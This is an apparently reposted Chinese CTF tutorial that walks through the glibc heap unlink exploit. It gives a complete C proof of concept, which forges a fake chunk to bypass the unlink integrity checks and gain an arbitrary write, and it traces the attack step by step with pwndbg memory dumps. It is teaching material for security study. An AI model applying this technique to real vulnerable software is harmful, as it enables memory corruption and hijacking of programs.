ctf pwn中的unlink exploit(堆利用)
unlink簡介
unlink的目的是把一個雙向連結串列中的空閒塊拿出來,如圖。
也就是
設定 P->fd->bk = P->bk.
設定 P->bk->fd = P->fd.
unlink時執行的檢查
以前的unlink是沒有檢查的,很容易利用,不過現在多了兩項檢查,所以在利用時候要繞過這些檢查。
Function Security Check Error unlink chunk size是否等於next chunk(記憶體意義上的)的prev_size corrupted size vs. prev_size unlink 檢查是否P->fd->bk == P 以及 P->bk->fd == P corrupted double-linked list
unlink exploit
準備
通過一個例子來學習一下,這個例子是Heap Exploitation系列的unlink,為了便於理解,我會用gdb詳細的除錯一下。
首先,編譯程式,我使用的系統是ubuntu14.04 64位,將下面的示例程式碼編譯出來,帶上-g引數。
sakura@ubuntu:~$ gcc -g unlink.c -o unlink
unlink.c: In function ‘main’:
unlink.c:46:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long long unsigned int’ [-Wformat=]
printf("%x\n", chunk1[3]);
^
#include
#include
#include
#include
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x80);
chunk2 = malloc(0x80);
printf("%p\n", &chunk1);
printf("%p\n", chunk1);
printf("%p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("%p\n", chunk1);
printf("%x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0;
}
我使用了一個gdb外掛pwndbg(應該是外掛吧?),需要安裝的話。
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
開始除錯
pwndbg> b 20
Breakpoint 1 at 0x400695: file unlink.c, line 20.
pwndbg> r
pwndbg> n
這樣就開始malloc第一個chunk了,返回的地址放在rax裡,然後存到棧裡。
繼續看第二個chunk的地址
pwndbg> n
接下來的三條命令其實就是輸出我們剛剛除錯出來的chunk地址的,所以過掉就行了,不過可以檢查一下我們找的是不是對的。
pwndbg> b 25
Breakpoint 2 at 0x4006f3: file unlink.c, line 25.
pwndbg> c
Continuing.
0x7fffffffdd60
0x602010
0x6020a0
然後來詳細的說明一下,是怎麼unlink exploit的。
假設攻擊者已經控制了chunk1的資料,並且可以溢位到chunk2的後設資料。
因為我們能夠控制chunk1的資料,所以當然可以在chunk1裡偽造一個chunk出來。
fake_chunk = (struct chunk_structure *)chunk1;
我們知道,返回給我們的chunk實際上是mem指標,如下圖的mem就是chunk1
通過將chunk1強制轉換為struct chunk_structure結構體,就偽造出了一個chunk。
相當於
然後我們看一下此時的chunk1的記憶體。
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
再看一下fake_chunk,地址為0xffffcf80,指向0x0804b008(mem)
pwndbg> p $rbp-0x40
$1 = (void *) 0x7fffffffdd70
pwndbg> x /x 0x7fffffffdd70
0x7fffffffdd70: 0x0000000000602010
通過檢查點1
接下來要確保chunk->fd->bk == chunk
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
如果不熟悉指標加減運算的,可以參考這篇文章&chunk1是指存放chunk1這個被分配出來的heap的地址的棧地址,即0x7fffffffdd60
pwndbg> stack 10
00:0000│ rsp 0x7fffffffdd60 —▸ 0x602010 ◂— 0x0
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add rbx, 1
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
08:0040│ 0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1
09:0048│ 0x7fffffffdda8 ◂— 0x0
此時的chunk1
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x00007fffffffdd48 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
接下來要確保chunk->bk->fd == chunk
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
此時的chunk1
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000<=fake_chunk(mem) 0x0000000000000000
0x602020: 0x00007fffffffdd48<=fake_chunk->fd 0x00007fffffffdd50<=fake_chunk->bk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
我相信到這個時候你已經凌亂了,因為我一開始看到這裡的時候也挺凌亂的(因為我指標學的不好emmm..)
讓我們再理一下。
首先觀察一下棧段,我們知道我們的變數都是存在棧上的,chunk1,fake_chunk都是指標,指標的值都是一個表示地址空間中某個儲存器單元的整數,這也就是我們說的指向。
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
pwndbg> stack 10
00:0000│ rsp 0x7fffffffdd60 —▸ 0x602010 ◂— 0x0
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x40084d (__libc_csu_init+77) ◂— add rbx, 1
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
08:0040│ 0x7fffffffdda0 —▸ 0x7fffffffde90 ◂— 0x1
09:0048│ 0x7fffffffdda8 ◂— 0x0
chunk1=0x602010
&chunk1=0x7fffffffdd60
fake_chunk=0x602010
&fake_chunk=0x7fffffffdd70
然後我們再看一下fake_chunk->fd,和fake_chunk_bk的值是多少。
pwndbg> x /10gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000091
0x602010: 0x0000000000000000<=fake_chunk(mem) 0x0000000000000000
0x602020: 0x00007fffffffdd48<=fake_chunk->fd 0x00007fffffffdd50<=fake_chunk->bk
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
fake_chunk->fd=0x00007fffffffdd48
fake_chunk->bk=0x00007fffffffdd50
需要知道的是,fd和bk的型別同樣是struct chunk_structure ,也就是說fake->chunk->fd/bk指向的記憶體也是"*結構體"
struct chunk_structure *fd;
struct chunk_structure *bk;
所以這個指向的"結構體"是這樣的。
pwndbg> x /10gx 0x00007fffffffdd48
0x7fffffffdd48: 0x00007ffff7ffe1c8->prev_size 0x0000000000000003->size
0x7fffffffdd58: 0x00000000004006f3->fd 0x0000000000602010->bk
0x7fffffffdd68: 0x00000000006020a0 0x0000000000602010
0x7fffffffdd78: 0x000000000040084d 0x00007fffffffddb0
0x7fffffffdd88: 0x0000000000000000 0x0000000000400800
所以fake_chunk->fd->bk=0x0000000000602010=chunk1
而我們知道fake_chunk=chunk1。
fake_chunk = (struct chunk_structure *)chunk1;
所以這樣就過了chunk->fd->bk==chunk的檢查 chunk->bk->fd == chunk也是同理的
通過檢查點2
然後為了通過檢查點chunk size是否等於next chunk(記憶體意義上的)的prev_size,我們需要修改chunk2的prev_size
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
pwndbg> x /10gx 0x602090
0x602090: 0x0000000000000080 0x0000000000000090
0x6020a0: 0x0000000000000000 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
觸發unlink
當我們free(chunk2)的時候,因為prev_in_use位被置0,代表前一個chunk(也就是我們的fake_chunk)也處於free,連續的空閒堆塊合併而進行unlink操作。
也就是設定
P->fd->bk = P->bk.
P->bk->fd = P->fd.
可以看出fake_chunk->fd->bk和fake_chunk->bk->fd都指向(或者說等於)chunk1,即0x0000000000602010,所以只需要關注第二次操作即可。
P->fd即fake_chunk->fd=0x00007fffffffdd48
所以unlink之後,P->bk->fd由0x602010變為0x00007fffffffdd48
00:0000│ rsp 0x7fffffffdd60 —▸ 0x602010 <=P->bk->fd
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x602090 ◂— 0x80
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
變為
00:0000│ rsp 0x7fffffffdd60 —▸ 0x7fffffffdd48 <=P->bk->fd
01:0008│ 0x7fffffffdd68 —▸ 0x6020a0 ◂— 0x0
02:0010│ 0x7fffffffdd70 —▸ 0x602010 ◂— 0x0
03:0018│ 0x7fffffffdd78 —▸ 0x602090 ◂— 0x80
04:0020│ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
05:0028│ 0x7fffffffdd88 ◂— 0x0
06:0030│ 0x7fffffffdd90 —▸ 0x400800 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffdd98 ◂— 0xb7dbaa1d9dced400
也就是說現在chunk1的值變成了0x7fffffffdd48,chunk1[3]實際上就是chunk1。
45 printf("%p\n", chunk1);
46 printf("%x\n", chunk1[3]);
...
pwndbg> b 47
Breakpoint 3 at 0x400788: file unlink.c, line 47.
pwndbg> c
Continuing.
0x7fffffffdd48
ffffdd48
exp
改變chunk1[3]就是改變chunk1,在本例中, chunk1用於指向變數data並且通過改變chunk1從而影響到了該變數。
chunk1[3] = (unsigned long long)data;
可以看出現在chunk1的值已經變成了data的地址0x7fffffffdd80
00:0000│ rdx rsp 0x7fffffffdd60 —▸ 0x7fffffffdd80 —▸ 0x7fffffffddb0 ◂— 0x0
改變data的值為Victim's data
strcpy(data, "Victim's data");
在記憶體中檢視
pwndbg> x /s 0x7fffffffdd80
0x7fffffffdd80: "Victim's data"
現在的chunk1已經指向data了,通過給chunk1[0]賦值,其實就是給data賦值。
chunk1[0] = 0x002164656b636168LL;
檢視記憶體
pwndbg> x /s 0x7fffffffdd80
0x7fffffffdd80: "hacked!"
果然已經變了。
字串已經變成了hacked!
pwndbg> n
hacked!
不知道這些指標跳來跳去的有沒有把你繞暈呢~如果暈了的話就自己調一調吧~
參考連結
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit.html
本文由看雪論壇 sakura零 原創 轉載請註明來自看雪社群
相關文章
- CTF_pwn_堆2024-07-30
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- CTF 中 glibc堆利用 及 IO_FILE 總結2022-03-30
- Linux下的堆偽造漏洞利用技術(new unlink)2016-09-14Linux
- CTF_PWN_棧ROP2024-07-30
- CTF-PWN學習2024-08-11
- CTF 中 ARM & AArch64 架構下的 Pwn2022-04-28架構
- windows10下的堆結構及unlink分析2018-09-13Windows
- CTF/9/pwnerTool,一個適用於CTF中自動對Pwn題目檔案進行資訊收集,並且生成基礎做題py檔案的Pwn工具2024-11-16
- CTF中做Linux下漏洞利用的一些心得2016-06-04Linux
- N1CTF2018 shopping:多執行緒堆題中堆溢位的應用2024-05-14TF2執行緒
- TLScanary:Pwn中的利器2024-07-12TLS
- Flash 獨佔 Exploit Kits 被利用漏洞前八席2015-11-10
- Unlink學習筆記(off-by-one null byte漏洞利用)2018-08-27筆記Null
- CTF記憶體高階利用技術2016-10-01記憶體
- Linux下堆漏洞的利用機制2016-05-15Linux
- Linux下的堆off-by-one的利用2016-10-25Linux
- 【考古向翻譯】Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit2016-09-24Windows
- C#中堆和堆疊的區別2011-02-27C#
- Linux中對檔案刪除函式unlink的操作2016-12-28Linux函式
- 閃迪U3利用工具U3-Pwn2017-07-10
- Linux kernel 堆溢位利用方法2024-10-18Linux
- 關於pwn題的棧平衡中ret的作用2024-04-06
- JVM中堆的介紹2020-06-08JVM
- Linux kernel 堆溢位利用方法(二)2024-11-11Linux
- php-unlink()函式2017-11-12PHP函式
- openGauss lo_unlink2024-05-16
- CTF中的一些圖形密碼2022-04-12密碼
- CTF中的EXP編寫技巧 zio庫的使用2016-05-09
- 如何利用執行緒堆疊定位問題2022-02-17執行緒
- VM - JIS-CTF-VulnUpload-CTF01 的破解2019-04-13
- 堆在java中的應用--PriorityQueue2021-09-09Java
- Java中堆和棧的區別2014-07-19Java
- 羊年核心堆風水: “Big Kids’ Pool”中的堆噴技術2020-08-19
- 利用Decorator和SourceMap優化JavaScript錯誤堆疊2020-09-02優化JavaScript
- CTF學習(14)MISC(資料包中的線索)2024-10-31
- 堆和堆傻傻分不清?一文告訴你 Java 集合中「堆」的最佳開啟方式2020-07-13Java
- windows pwn(一)2023-03-01Windows